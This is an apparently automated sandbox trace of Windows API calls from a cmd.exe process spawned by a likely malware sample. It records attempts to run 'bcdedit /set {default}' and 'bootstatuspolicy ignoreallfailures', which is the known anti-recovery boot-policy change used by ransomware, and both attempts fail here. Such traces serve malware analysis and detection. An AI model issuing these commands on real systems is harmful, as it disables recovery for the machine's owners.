	[0249.581] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x12) returned 0x34c160
	[0249.581] lstrcmpW (lpString1="\\bcdedit.exe", lpString2="\\XCOPY.EXE") returned -1
	[0249.581] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\bcdedit.exe", lpCommandLine="bcdedit  /set {default}", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x28f3d0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="bcdedit  /set {default}", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x28f380 | out: lpCommandLine="bcdedit  /set {default}", lpProcessInformation=0x28f380*(hProcess=0x50, hThread=0x54, dwProcessId=0x32d8, dwThreadId=0x32dc)) returned 1
	[0249.587] CloseHandle (hObject=0x54) returned 1
	[0249.587] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0249.587] GetProcessHeap () returned 0x330000
	[0249.587] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34c180 | out: hHeap=0x330000) returned 1
	[0249.587] GetEnvironmentStringsW () returned 0x34c180*
	[0249.587] GetProcessHeap () returned 0x330000
	[0249.587] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0xb0e) returned 0x35ad60
	[0249.587] FreeEnvironmentStringsW (penv=0x34c180) returned 1
	[0249.588] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0
	[0251.324] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x28f2c8 | out: lpExitCode=0x28f2c8*=0x1) returned 1
	[0251.324] CloseHandle (hObject=0x50) returned 1
	[0251.324] _vsnwprintf (in: _Buffer=0x28f538, _BufferCount=0x13, _Format="%08X", _ArgList=0x28f2d8 | out: _Buffer="00000001") returned 8
	[0251.324] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000001") returned 1
	[0251.324] GetProcessHeap () returned 0x330000
	[0251.324] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x35ad60 | out: hHeap=0x330000) returned 1
	[0251.324] GetEnvironmentStringsW () returned 0x34c180*
	[0251.325] GetProcessHeap () returned 0x330000
	[0251.325] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0xb0e) returned 0x35ad60
	[0251.325] FreeEnvironmentStringsW (penv=0x34c180) returned 1
	[0251.325] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0251.325] GetProcessHeap () returned 0x330000
	[0251.325] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x35ad60 | out: hHeap=0x330000) returned 1
	[0251.325] GetEnvironmentStringsW () returned 0x34c180*
	[0251.325] GetProcessHeap () returned 0x330000
	[0251.325] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0xb0e) returned 0x35ad60
	[0251.325] FreeEnvironmentStringsW (penv=0x34c180) returned 1
	[0251.325] GetProcessHeap () returned 0x330000
	[0251.325] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34c160 | out: hHeap=0x330000) returned 1
	[0251.325] DeleteProcThreadAttributeList (in: lpAttributeList=0x28f398 | out: lpAttributeList=0x28f398) 
	[0251.325] _get_osfhandle (_FileHandle=1) returned 0x7
	[0251.325] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1
	[0251.326] _get_osfhandle (_FileHandle=1) returned 0x7
	[0251.326] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a52e194 | out: lpMode=0x4a52e194) returned 1
	[0251.326] _get_osfhandle (_FileHandle=0) returned 0x3
	[0251.326] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a52e198 | out: lpMode=0x4a52e198) returned 1
	[0251.327] SetConsoleInputExeNameW () returned 0x1
	[0251.327] GetConsoleOutputCP () returned 0x1b5
	[0251.327] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a53bfe0 | out: lpCPInfo=0x4a53bfe0) returned 1
	[0251.327] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0251.327] exit (_Code=1) 

Process:
	id = "50"
	image_name = "cmd.exe"
	filename = "c:\\windows\\system32\\cmd.exe"
	page_root = "0xb61d000"
	os_pid = "0x2b34"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "2"
	os_parent_pid = "0x894"
	cmd_line = "cmd /c \"bootstatuspolicy ignoreallfailures\""
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 2399
	os_tid = 0x2b38

	[0247.045] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x30fc70 | out: lpSystemTimeAsFileTime=0x30fc70*(dwLowDateTime=0x758ac460, dwHighDateTime=0x1d5cdef)) 
	[0247.045] GetCurrentProcessId () returned 0x2b34
	[0247.045] GetCurrentThreadId () returned 0x2b38
	[0247.045] GetTickCount () returned 0x11810c3
	[0247.045] QueryPerformanceCounter (in: lpPerformanceCount=0x30fc78 | out: lpPerformanceCount=0x30fc78*=38860508619) returned 1
	[0247.047] GetModuleHandleW (lpModuleName=0x0) returned 0x4a500000
	[0247.047] __set_app_type (_Type=0x1) 
	[0247.047] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a527810) returned 0x0
	[0247.047] __getmainargs (in: _Argc=0x4a54a608, _Argv=0x4a54a618, _Env=0x4a54a610, _DoWildCard=0, _StartInfo=0x4a52e0f4 | out: _Argc=0x4a54a608, _Argv=0x4a54a618, _Env=0x4a54a610) returned 0
	[0247.048] GetCurrentThreadId () returned 0x2b38
	[0247.048] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x2b38) returned 0x3c
	[0247.048] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76f20000
	[0247.048] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadUILanguage") returned 0x76f36d40
	[0247.048] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0247.546] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0247.546] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x30fc08 | out: phkResult=0x30fc08*=0x0) returned 0x2
	[0247.547] VirtualQuery (in: lpAddress=0x30fbf0, lpBuffer=0x30fb70, dwLength=0x30 | out: lpBuffer=0x30fb70*(BaseAddress=0x30f000, AllocationBase=0x210000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0247.547] VirtualQuery (in: lpAddress=0x210000, lpBuffer=0x30fb70, dwLength=0x30 | out: lpBuffer=0x30fb70*(BaseAddress=0x210000, AllocationBase=0x210000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0247.547] VirtualQuery (in: lpAddress=0x211000, lpBuffer=0x30fb70, dwLength=0x30 | out: lpBuffer=0x30fb70*(BaseAddress=0x211000, AllocationBase=0x210000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0247.547] VirtualQuery (in: lpAddress=0x214000, lpBuffer=0x30fb70, dwLength=0x30 | out: lpBuffer=0x30fb70*(BaseAddress=0x214000, AllocationBase=0x210000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0247.547] VirtualQuery (in: lpAddress=0x310000, lpBuffer=0x30fb70, dwLength=0x30 | out: lpBuffer=0x30fb70*(BaseAddress=0x310000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0x50000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30
	[0247.547] GetConsoleOutputCP () returned 0x1b5
	[0247.547] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a53bfe0 | out: lpCPInfo=0x4a53bfe0) returned 1
	[0247.548] SetConsoleCtrlHandler (HandlerRoutine=0x4a523184, Add=1) returned 1
	[0247.548] _get_osfhandle (_FileHandle=1) returned 0x7
	[0247.548] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1
	[0247.549] _get_osfhandle (_FileHandle=1) returned 0x7
	[0247.549] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a52e194 | out: lpMode=0x4a52e194) returned 1
	[0247.549] _get_osfhandle (_FileHandle=1) returned 0x7
	[0247.550] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1
	[0247.550] _get_osfhandle (_FileHandle=0) returned 0x3
	[0247.550] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a52e198 | out: lpMode=0x4a52e198) returned 1
	[0247.551] _get_osfhandle (_FileHandle=0) returned 0x3
	[0247.551] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1
	[0247.551] GetEnvironmentStringsW () returned 0xd8a60*
	[0247.551] GetProcessHeap () returned 0xc0000
	[0247.551] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x8, Size=0xa7c) returned 0xd94f0
	[0247.552] FreeEnvironmentStringsW (penv=0xd8a60) returned 1
	[0247.552] GetProcessHeap () returned 0xc0000
	[0247.552] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x8, Size=0x8) returned 0xd9f80
	[0247.552] GetEnvironmentStringsW () returned 0xd8a60*
	[0247.552] GetProcessHeap () returned 0xc0000
	[0247.552] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x8, Size=0xa7c) returned 0xd9fa0
	[0247.552] FreeEnvironmentStringsW (penv=0xd8a60) returned 1
	[0247.553] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x30eac8 | out: phkResult=0x30eac8*=0x44) returned 0x0
	[0247.553] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x30eac0, lpData=0x30eae0, lpcbData=0x30eac4*=0x1000 | out: lpType=0x30eac0*=0x0, lpData=0x30eae0*=0x18, lpcbData=0x30eac4*=0x1000) returned 0x2
	[0247.553] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x30eac0, lpData=0x30eae0, lpcbData=0x30eac4*=0x1000 | out: lpType=0x30eac0*=0x4, lpData=0x30eae0*=0x1, lpcbData=0x30eac4*=0x4) returned 0x0
	[0247.553] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x30eac0, lpData=0x30eae0, lpcbData=0x30eac4*=0x1000 | out: lpType=0x30eac0*=0x0, lpData=0x30eae0*=0x1, lpcbData=0x30eac4*=0x1000) returned 0x2
	[0247.553] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x30eac0, lpData=0x30eae0, lpcbData=0x30eac4*=0x1000 | out: lpType=0x30eac0*=0x4, lpData=0x30eae0*=0x0, lpcbData=0x30eac4*=0x4) returned 0x0
	[0247.553] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x30eac0, lpData=0x30eae0, lpcbData=0x30eac4*=0x1000 | out: lpType=0x30eac0*=0x4, lpData=0x30eae0*=0x40, lpcbData=0x30eac4*=0x4) returned 0x0
	[0247.553] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x30eac0, lpData=0x30eae0, lpcbData=0x30eac4*=0x1000 | out: lpType=0x30eac0*=0x4, lpData=0x30eae0*=0x40, lpcbData=0x30eac4*=0x4) returned 0x0
	[0247.553] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x30eac0, lpData=0x30eae0, lpcbData=0x30eac4*=0x1000 | out: lpType=0x30eac0*=0x0, lpData=0x30eae0*=0x40, lpcbData=0x30eac4*=0x1000) returned 0x2
	[0247.553] RegCloseKey (hKey=0x44) returned 0x0
	[0247.553] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x30eac8 | out: phkResult=0x30eac8*=0x44) returned 0x0
	[0247.554] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x30eac0, lpData=0x30eae0, lpcbData=0x30eac4*=0x1000 | out: lpType=0x30eac0*=0x0, lpData=0x30eae0*=0x40, lpcbData=0x30eac4*=0x1000) returned 0x2
	[0247.554] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x30eac0, lpData=0x30eae0, lpcbData=0x30eac4*=0x1000 | out: lpType=0x30eac0*=0x4, lpData=0x30eae0*=0x1, lpcbData=0x30eac4*=0x4) returned 0x0
	[0247.554] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x30eac0, lpData=0x30eae0, lpcbData=0x30eac4*=0x1000 | out: lpType=0x30eac0*=0x0, lpData=0x30eae0*=0x1, lpcbData=0x30eac4*=0x1000) returned 0x2
	[0247.554] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x30eac0, lpData=0x30eae0, lpcbData=0x30eac4*=0x1000 | out: lpType=0x30eac0*=0x4, lpData=0x30eae0*=0x0, lpcbData=0x30eac4*=0x4) returned 0x0
	[0247.554] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x30eac0, lpData=0x30eae0, lpcbData=0x30eac4*=0x1000 | out: lpType=0x30eac0*=0x4, lpData=0x30eae0*=0x9, lpcbData=0x30eac4*=0x4) returned 0x0
	[0247.554] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x30eac0, lpData=0x30eae0, lpcbData=0x30eac4*=0x1000 | out: lpType=0x30eac0*=0x4, lpData=0x30eae0*=0x9, lpcbData=0x30eac4*=0x4) returned 0x0
	[0247.554] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x30eac0, lpData=0x30eae0, lpcbData=0x30eac4*=0x1000 | out: lpType=0x30eac0*=0x0, lpData=0x30eae0*=0x9, lpcbData=0x30eac4*=0x1000) returned 0x2
	[0247.554] RegCloseKey (hKey=0x44) returned 0x0
	[0247.554] time (in: timer=0x0 | out: timer=0x0) returned 0x5e22e6eb
	[0247.554] srand (_Seed=0x5e22e6eb) 
	[0247.554] GetCommandLineW () returned="cmd /c \"bootstatuspolicy ignoreallfailures\""
	[0247.555] GetCommandLineW () returned="cmd /c \"bootstatuspolicy ignoreallfailures\""
	[0247.555] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a53c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0247.555] GetProcessHeap () returned 0xc0000
	[0247.555] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x8, Size=0x218) returned 0xdaa30
	[0247.555] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xdaa40, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b
	[0247.556] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a52f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0247.556] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a52f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0247.556] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a52f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0247.556] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0247.556] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0247.556] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0247.556] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0247.556] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0247.556] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0247.556] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0247.556] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0247.556] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0247.557] GetProcessHeap () returned 0xc0000
	[0247.557] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xd94f0 | out: hHeap=0xc0000) returned 1
	[0247.557] GetEnvironmentStringsW () returned 0xd8a60*
	[0247.557] GetProcessHeap () returned 0xc0000
	[0247.557] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x8, Size=0xa94) returned 0xdb6f0
	[0247.557] FreeEnvironmentStringsW (penv=0xd8a60) returned 1
	[0247.557] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a52f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0247.557] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a52f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0247.557] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0247.557] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0247.557] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0247.557] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0247.557] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0247.557] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0247.558] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0247.558] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0247.558] GetProcessHeap () returned 0xc0000
	[0247.558] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x8, Size=0x5c) returned 0xd8300
	[0247.558] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x30f8d0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0247.558] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x30f8d0, lpFilePart=0x30f8b0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x30f8b0*="Desktop") returned 0x25
	[0247.558] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0247.558] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x30f5e0 | out: lpFindFileData=0x30f5e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x745ed720, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x745ed720, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe40000e4, cFileName="Users", cAlternateFileName="")) returned 0xc1320
	[0247.559] FindClose (in: hFindFile=0xc1320 | out: hFindFile=0xc1320) returned 1
	[0247.559] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x30f5e0 | out: lpFindFileData=0x30f5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x745ed720, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x745ed720, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe40000e4, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0xc1320
	[0247.559] FindClose (in: hFindFile=0xc1320 | out: hFindFile=0xc1320) returned 1
	[0247.559] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20
	[0247.559] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x30f5e0 | out: lpFindFileData=0x30f5e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28993240, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x28993240, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe40000e4, cFileName="Desktop", cAlternateFileName="")) returned 0xc1320
	[0247.559] FindClose (in: hFindFile=0xc1320 | out: hFindFile=0xc1320) returned 1
	[0247.559] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0247.560] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1
	[0247.560] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1
	[0247.560] GetProcessHeap () returned 0xc0000
	[0247.560] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xdb6f0 | out: hHeap=0xc0000) returned 1
	[0247.560] GetEnvironmentStringsW () returned 0xd8a60*
	[0247.560] GetProcessHeap () returned 0xc0000
	[0247.560] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x8, Size=0xae8) returned 0xdac50
	[0247.560] FreeEnvironmentStringsW (penv=0xd8a60) returned 1
	[0247.560] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a53c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0247.560] GetProcessHeap () returned 0xc0000
	[0247.560] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xd8300 | out: hHeap=0xc0000) returned 1
	[0247.560] GetProcessHeap () returned 0xc0000
	[0247.560] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x8, Size=0x4016) returned 0xdcc80
	[0247.561] GetProcessHeap () returned 0xc0000
	[0247.561] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x8, Size=0x5e) returned 0xd8300
	[0247.561] GetProcessHeap () returned 0xc0000
	[0247.561] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x8, Size=0x4010) returned 0xe0ca0
	[0247.562] GetProcessHeap () returned 0xc0000
	[0247.562] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x8, Size=0x4010) returned 0xe4cc0
	[0247.566] _wcsnicmp (_String1="boot", _String2="cmd ", _MaxCount=0x4) returned -1
	[0247.567] GetProcessHeap () returned 0xc0000
	[0247.567] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x8, Size=0x420) returned 0xdb740
	[0247.568] SetErrorMode (uMode=0x0) returned 0x0
	[0247.568] SetErrorMode (uMode=0x1) returned 0x0
	[0247.568] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0xdb750, lpFilePart=0x30f790 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x30f790*="Desktop") returned 0x25
	[0247.568] SetErrorMode (uMode=0x0) returned 0x1
	[0247.568] GetProcessHeap () returned 0xc0000
	[0247.568] RtlReAllocateHeap (Heap=0xc0000, Flags=0x0, Ptr=0xdb740, Size=0xa2) returned 0xdb740
	[0247.568] GetProcessHeap () returned 0xc0000
	[0247.568] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xdb740) returned 0xa2
	[0247.569] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a52f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0247.569] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0247.569] GetProcessHeap () returned 0xc0000
	[0247.569] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x8, Size=0x128) returned 0xdb800
	[0247.569] GetProcessHeap () returned 0xc0000
	[0247.569] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x8, Size=0x240) returned 0xdb930
	[0247.981] GetProcessHeap () returned 0xc0000
	[0247.982] RtlReAllocateHeap (Heap=0xc0000, Flags=0x0, Ptr=0xdb930, Size=0x12a) returned 0xdb930
	[0247.982] GetProcessHeap () returned 0xc0000
	[0247.982] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xdb930) returned 0x12a
	[0247.982] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a52f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0247.982] GetProcessHeap () returned 0xc0000
	[0247.982] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x8, Size=0xe8) returned 0xdba70
	[0247.982] GetProcessHeap () returned 0xc0000
	[0247.982] RtlReAllocateHeap (Heap=0xc0000, Flags=0x0, Ptr=0xdba70, Size=0x7e) returned 0xdba70
	[0247.982] GetProcessHeap () returned 0xc0000
	[0247.982] RtlSizeHeap (HeapHandle=0xc0000, Flags=0x0, MemoryPointer=0xdba70) returned 0x7e
	[0247.983] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0247.983] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bootstatuspolicy ignoreallfailures.*", fInfoLevelId=0x1, lpFindFileData=0x30f500, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x30f500) returned 0xffffffffffffffff
	[0247.983] GetLastError () returned 0x2
	[0247.983] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bootstatuspolicy ignoreallfailures", fInfoLevelId=0x1, lpFindFileData=0x30f500, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x30f500) returned 0xffffffffffffffff
	[0247.984] GetLastError () returned 0x2
	[0247.984] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0247.984] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bootstatuspolicy ignoreallfailures.*", fInfoLevelId=0x1, lpFindFileData=0x30f500, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x30f500) returned 0xffffffffffffffff
	[0247.984] GetLastError () returned 0x2
	[0247.984] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bootstatuspolicy ignoreallfailures", fInfoLevelId=0x1, lpFindFileData=0x30f500, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x30f500) returned 0xffffffffffffffff
	[0247.985] GetLastError () returned 0x2
	[0247.985] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
